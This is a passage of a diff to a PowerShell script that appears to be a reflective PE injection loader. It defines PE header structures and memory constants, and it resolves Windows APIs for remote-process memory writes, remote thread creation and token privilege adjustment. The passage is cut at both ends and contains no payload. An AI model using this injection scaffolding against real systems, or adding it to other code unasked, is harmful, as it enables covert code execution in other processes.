'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself + $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory - - $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory - - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread - - $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread - - $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken - - $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread - - $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges - - $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue - - $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf - - # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { - $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx } - - $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process - - $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread - - return $Win32Functions - } - ##################################### - - - ##################################### - ########### HELPERS ############ - ##################################### - - #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function - #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses - Function Sub-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - $Val = $Value1Bytes[$i] - $CarryOver - #Sub bytes - if ($Val -lt $Value2Bytes[$i]) - { - $Val += 256 - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - - - [UInt16]$Sum = $Val - $Value2Bytes[$i] - - $FinalBytes[$i] = $Sum -band 0x00FF - } - } - else - { - Throw "Cannot subtract bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - Function Add-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - #Add bytes - [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver - - $FinalBytes[$i] = $Sum -band 0x00FF - - if (($Sum -band 0xFF00) -eq 0x100) - { - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - } - } - else - { - Throw "Cannot add bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - Function Compare-Val1GreaterThanVal2AsUInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) - { - if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) - { - return $true - } - elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) - { - return $false - } - } - } - else - { - Throw "Cannot compare byte arrays of different size" - } - - return $false - } - - - Function Convert-UIntToInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt64] - $Value - ) - - [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) - return ([BitConverter]::ToInt64($ValueBytes, 0)) - } + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = 